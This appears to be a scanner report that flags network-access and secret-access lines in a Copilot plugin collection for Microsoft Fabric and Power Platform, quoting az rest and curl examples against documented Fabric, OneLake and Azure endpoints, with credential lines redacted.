"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 7
"name": "Awesome Copilot Community" }, "repository": "https://github.com/github/awesome-copilot", - Network accessline 8
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 9
"repository": "https://github.com/github/awesome-copilot",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/README.md
- Network accessline 1
# Power Platform Architect Plugin  - Network accessline 2
 - Network accessline 13
[](https://youtu.be/tn4jEpZ6jiw) - Network accessline 26
3. **Component Recommendation** — Selects only the Power Platform components that serve a real purpose in the solution and explains the role each one plays. It follows a built-in decision framework (e.g., external access → Power Pages, data - Network accessline 28
5. **Architecture Diagram (Optional)** — On request, generates a Mermaid.js diagram visualizing the architecture, saves it to a `.md` file, and directs the user to [mermaid.ai/live/edit](https://mermaid.ai/live/edit) to render it. - Network accessline 32
 - Network accessline 41
## Example Output Architecture Diagram (rendered in [mermaid](https://mermaid.js.org/)) - Network accessline 42
 - Network accessline 162
## Source Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft. - Network accessline 163
Created by [Tim Hanewich](https://timh.ai), Senior AI Solution Engineer at Microsoft.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 16
"name": "Tim Hanewich" }, "repository": "https://github.com/github/awesome-copilot", - Network accessline 17
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 18
"repository": "https://github.com/github/awesome-copilot",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-architect/skills/power-platform-architect/SKILL.md
- Network accessline 33
| AI extraction or prediction | **AI Builder** | OCR, sentiment analysis, prediction, document extraction, invoice/receipt/ID/business card processing, classification, entity extraction, key phrase extraction, language detection, text trans - Network accessline 34
| Enterprise data | **Dataverse** | Tables, columns, relationships, rich text, JSON, file/image storage, RBAC, security roles, business units, row-level security, column-level security, team sharing, elastic tables, auditing, versioning, an - Network accessline 35
| Integrations | **Connectors and Custom Connectors** | Use standard connectors when available; wrap a REST API as a Custom Connector when the target system is absent from https://learn.microsoft.com/en-us/connectors/connector-reference/con - Network accessline 61
6. Write the architecture as a business process story that includes human users and audience labels such as "vendors", "property owners", "audit team", or named business teams. 7. If the user asks for a diagram, generate a simple Mermaid.js - Network accessline 63
8. Tell the user the file was saved and instruct them to open https://mermaid.ai/live/edit, copy the file contents into the Code pane, and report any syntax issue for correction. - Network accessline 121
- `high-level` - `high-volume` - `https://mermaid.ai/live/edit` - Network accessline 122
- `high-volume` - `https://mermaid.ai/live/edit` - `industry-specific` - Network accessline 123
- `https://mermaid.ai/live/edit` - Network accessline 159
### Optional diagram **Diagram file:** `<file.md>` | not requested **Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 161
**Mermaid editor:** https://mermaid.ai/live/edit - Network accessline 175
- [Power Automate connector reference](https://learn.microsoft.com/en-us/connectors/connector-reference/connector-reference-powerautomate-connectors) - Network accessline 176
- [Mermaid Live Editor](https://mermaid.ai/live/edit)
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/README.md
- Network accessline 29
This plugin is part of [Awesome Copilot](https://github.com/github/awesome-copilot), a community-driven collection of GitHub Copilot extensions.
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/power-platform-mcp-connector-development/plugin.json
- Network accessline 1
{ "$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 2
"$schema": "https://agent-plugins.org/schemas/1.0.0/plugin.schema.json", - Network accessline 7
"name": "Awesome Copilot Community" }, "repository": "https://github.com/github/awesome-copilot", - Network accessline 8
}, "repository": "https://github.com/github/awesome-copilot", "license": "MIT", - Network accessline 9
"repository": "https://github.com/github/awesome-copilot",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.claude-plugin/plugin.json
- Network accessline 1
{ "$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 2
"$schema": "https://json.schemastore.org/claude-code-plugin-manifest.json", - Network accessline 5
"version": "0.3.12", "license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", - Network accessline 6
"license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", "keywords": [ - Network accessline 7
"repository": "https://github.com/microsoft/skills-for-fabric",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/.github/plugin/plugin.json
- Network accessline 1
{ "$schema": "https://json-schema.org/draft-07/schema", - Network accessline 2
"$schema": "https://json-schema.org/draft-07/schema", - Network accessline 5
"version": "0.3.12", "license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", - Network accessline 6
"license": "MIT", "repository": "https://github.com/microsoft/skills-for-fabric", "keywords": [ - Network accessline 7
"repository": "https://github.com/microsoft/skills-for-fabric",
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CLI.md
- Network accessline 24
> **Key insight — `az rest` for Fabric**: Because `api.fabric.microsoft.com` > is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 25
> is **not** a built-in Azure cloud endpoint, you must always pass > `--resource https://api.fabric.microsoft.com` so that `az rest` acquires > a token with the correct audience. Without `--resource`, `az rest` will - Network accessline 26
> `--resource https://api.fabric.microsoft.com` so that `az rest` acquires - Network accessline 34
> **Requirement**: **Every** call you make to the Fabric REST API > (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 35
> (`https://api.fabric.microsoft.com/...`) — whether via `az rest` or `curl` — - Network accessline 77
az rest \ --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 78
--method get \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 79
--resource "https://api.fabric.microsoft.com" \ - Network accessline 80
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 83
# curl to the Fabric API — add it via -H: - Network accessline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Network accessline 87
"https://api.fabric.microsoft.com/v1/workspaces" - Network accessline 116
**Resolve by name (only when an ID is not available).** The Fabric REST API has no "get workspace by name" endpoint, so list+filter is the only path. The Workspace object exposes `displayName`, not `name` (see [List Workspaces reference](ht - Network accessline 119
WS_NAME="Marketing" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 120
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 121
--resource "https://api.fabric.microsoft.com" \ - Network accessline 122
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 139
ITEM_TYPE="Lakehouse" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 140
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 141
--resource "https://api.fabric.microsoft.com" \ - Network accessline 142
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items?type=$ITEM_TYPE" \ - Network accessline 156
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 157
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 158
--resource "https://api.fabric.microsoft.com" \ - Network accessline 159
--url "https://api.fabric.microsoft.com/v1/catalog/search" \ - Network accessline 163
* The response includes `id`, `type`, `displayName`, `description`, and `hierarchy.workspace` (with `id` and `displayName`) for each match. * Newly created items can take up to 24 hours to appear in Catalog Search results. * See [Catalog Se - Network accessline 165
* See [Catalog Search API reference](https://learn.microsoft.com/en-us/rest/api/fabric/core/catalog/search) for supported filter types. - Network accessline 203
# Standard API Configuration - implemented per COMMON-CORE.md Environment Detection Pattern FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 204
FABRIC_API_BASE="https://api.fabric.microsoft.com" - Network accessline 205
FABRIC_RESOURCE_SCOPE="https://api.fabric.microsoft.com" - Network accessline 224
| Audience | Use For | |---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 225
|---|---| | `https://api.fabric.microsoft.com` | Fabric REST API | | `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 226
| `https://api.fabric.microsoft.com` | Fabric REST API | - Network accessline 227
| `https://storage.azure.com` | OneLake (DFS/Blob) and OneLake Table APIs | - Network accessline 228
| `https://database.windows.net` | SQL / TDS (Warehouse, SQL Endpoint, SQL Database) | - Network accessline 229
| `https://analysis.windows.net/powerbi/api` | Power BI / XMLA | - Network accessline 238
[Credential-related source omitted] - Network accessline 239
[Credential-related source omitted] - Network accessline 240
[Credential-related source omitted] - Network accessline 248
[Credential-related source omitted] - Network accessline 286
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 287
--resource "https://api.fabric.microsoft.com" \ - Network accessline 288
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 295
# Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 296
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 297
--resource "https://api.fabric.microsoft.com" \ - Network accessline 298
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" - Network accessline 315
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 316
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 317
--resource "https://api.fabric.microsoft.com" \ - Network accessline 318
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 341
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 342
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 343
--resource "https://api.fabric.microsoft.com" \ - Network accessline 344
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 352
# getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 353
RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 354
--resource "https://api.fabric.microsoft.com" \ - Network accessline 355
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \ - Network accessline 375
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 376
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 377
--resource "https://api.fabric.microsoft.com" \ - Network accessline 378
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \ - Network accessline 386
EOF az rest --method patch \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 387
az rest --method patch --resource "https://api.fabric.microsoft.com" - Network accessline 388
--resource "https://api.fabric.microsoft.com" \ - Network accessline 389
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \ - Network accessline 395
az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 396
--resource "https://api.fabric.microsoft.com" \ - Network accessline 397
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" - Network accessline 404
EOF ITEM_ID=$(az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 405
ITEM_ID=$(az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 406
--resource "https://api.fabric.microsoft.com" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 458
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 484
[Credential-related source omitted] - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 511
[Credential-related source omitted] - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Access to secretsline 513
[Credential-related source omitted] - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 748
az rest --method delete --resource "https://api.fabric.microsoft.com" \ - Network accessline 749
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 773
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 774
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 775
--resource "https://api.fabric.microsoft.com" \ - Network accessline 776
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" \ - Network accessline 783
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 784
--resource "https://api.fabric.microsoft.com" \ - Network accessline 785
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts" - Network accessline 792
SHORTCUT_PATH="Tables/external_data" az rest --method delete \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 793
az rest --method delete --resource "https://api.fabric.microsoft.com" - Network accessline 794
--resource "https://api.fabric.microsoft.com" \ - Network accessline 795
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$LH_ID/shortcuts/$SHORTCUT_NAME?path=$SHORTCUT_PATH" - Network accessline 807
az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 808
--resource "https://api.fabric.microsoft.com" \ - Network accessline 809
--url "https://api.fabric.microsoft.com/v1/capacities" \ - Network accessline 819
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 820
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 821
--resource "https://api.fabric.microsoft.com" \ - Network accessline 822
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/assignToCapacity" \ - Network accessline 843
# Step 1: Resolve workspace ID (see Finding Workspaces and Items) WS_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 844
WS_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 845
--resource "https://api.fabric.microsoft.com" \ - Network accessline 846
--url "https://api.fabric.microsoft.com/v1/workspaces" \ - Network accessline 850
# Step 2: Resolve lakehouse ID LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 851
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 852
--resource "https://api.fabric.microsoft.com" \ - Network accessline 853
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 857
[Credential-related source omitted] - Network accessline 858
[Credential-related source omitted] - Network accessline 859
[Credential-related source omitted] - Access to secretsline 859
[Credential-related source omitted] - Access to secretsline 860
[Credential-related source omitted] - Network accessline 872
# Step 1: Resolve lakehouse and get SQL endpoint info LH_ID=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 873
LH_ID=$(az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 874
--resource "https://api.fabric.microsoft.com" \ - Network accessline 875
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses" \ - Network accessline 879
SQL_INFO=$(az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 880
--resource "https://api.fabric.microsoft.com" \ - Network accessline 881
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$LH_ID" \ - Network accessline 907
# fabric_lro handles the 202 → poll → terminal-state cycle RESULT=$(fabric_lro POST \ "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 908
RESULT=$(fabric_lro POST "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 909
"https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook") - Network accessline 920
| Symptom | Cause | Fix | |---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | - Network accessline 921
|---|---|---| | `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns - Network accessline 922
| `az rest` returns `"Can't derive appropriate Azure AD resource from --url"` | Fabric URL is not a built-in Azure endpoint | Always add `--resource "https://api.fabric.microsoft.com"` | | `az account get-access-token` returns `"AADSTS50001 - Network accessline 923
| `az account get-access-token` returns `"AADSTS500011: resource not found"` | Wrong resource URI string | Verify exact string from Environment Detection and API Configuration — no trailing slash variations | | `401 Unauthorized` on OneLake - Network accessline 924
| `401 Unauthorized` on OneLake `curl` call | Using Fabric API token instead of Storage token | Use `--resource https://storage.azure.com` for OneLake | - Network accessline 952
az rest \ --method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 953
--method {get|post|put|patch|delete} \ --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 954
--resource "https://api.fabric.microsoft.com" \ - Network accessline 955
--url "https://api.fabric.microsoft.com/v1/{path}" \ - Network accessline 974
| Access Target | Audience for `--resource` | Primary CLI Tool | |---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | - Network accessline 975
|---|---|---| | Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 976
| Fabric REST API | `https://api.fabric.microsoft.com` | `az rest` | | OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | | SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | - Network accessline 977
| OneLake (DFS/Blob) | `https://storage.azure.com` | `curl` | - Network accessline 978
| SQL / TDS | `https://database.windows.net` | `sqlcmd -G` | | Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | | KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 979
| Power BI / XMLA | `https://analysis.windows.net/powerbi/api` | `curl` or dedicated tools | - Network accessline 980
| KQL / Kusto | `https://kusto.kusto.windows.net` (or per-cluster URI) | `curl` | - Network accessline 981
| Azure Resource Manager | `https://management.azure.com` | `az rest` (native) |
harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/powerbi-authoring/common/COMMON-CORE.md
- Network accessline 33
| Service | URL | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 34
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | | **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 35
| **Fabric REST API** | `https://api.fabric.microsoft.com/v1/` | - Network accessline 36
| **OneLake DFS (global)** | `https://onelake.dfs.fabric.microsoft.com` | - Network accessline 37
| **OneLake DFS (regional)** | `https://<region>-onelake.dfs.fabric.microsoft.com` | | **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | | **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 38
| **OneLake Blob (global)** | `https://onelake.blob.fabric.microsoft.com` | - Network accessline 39
| **OneLake API (general)** | `https://api.onelake.fabric.microsoft.com` | - Network accessline 43
| **SQL Database TDS** | `<unique-id>.database.windows.net:1433` | | **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 44
| **XMLA Endpoint** | `powerbi://api.powerbi.com/v1.0/myorg/<workspace>` | | **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | | **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 45
| **Entra ID Token Endpoint** | `https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` | - Network accessline 46
| **Power BI REST API** | `https://api.powerbi.com/v1.0/myorg/` | - Network accessline 47
| **KQL Cluster URI** | `https://trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 48
| **KQL Ingestion URI** | `https://ingest-trd-<hash>.z<n>.kusto.fabric.microsoft.com` (per-item) | - Network accessline 61
| Access Target | Token Audience / Scope | |---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 62
|---|---| | **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | | **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 63
| **Fabric REST API** | `https://api.fabric.microsoft.com/.default` | - Network accessline 64
| **Power BI REST API** (legacy) | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 65
| **OneLake** (DFS / Blob) | `https://storage.azure.com/.default` | - Network accessline 66
| **Warehouse / SQL Endpoint / SQL Database** (TDS) | `https://database.windows.net/.default` | - Network accessline 67
| **KQL / Kusto** | `https://kusto.kusto.windows.net/.default` (or per-cluster URI) | - Network accessline 68
| **XMLA Endpoint** | `https://analysis.windows.net/powerbi/api/.default` | - Network accessline 69
| **Azure Resource Management** | `https://management.azure.com/.default` | - Network accessline 71
> **OneLake**: Only accepts `https://storage.azure.com/.default`. Using `https://datalake.azure.net/` will fail. - Network accessline 72
> > **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. > - Network accessline 73
> **SQL double-slash gotcha**: With MSAL v1.0 endpoint, the scope must be `https://database.windows.net//.default` (double slash). The v2.0 endpoint handles this correctly. - Network accessline 75
> Ref: https://learn.microsoft.com/en-us/rest/api/fabric/articles/scopes - Network accessline 87
**Endpoint:** `POST https://login.microsoftonline.com/<tenantId>/oauth2/v2.0/token` - Network accessline 91
[Credential-related source omitted] - Access to secretsline 91
[Credential-related source omitted] - Network accessline 94
**Device Code:** 1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 95
1. `POST .../oauth2/v2.0/devicecode` with `client_id=<appId>&scope=https://api.fabric.microsoft.com/.default` - Network accessline 109
1. **App Registration**: Create at `https://entra.microsoft.com` > Applications > App registrations. - Network accessline 110
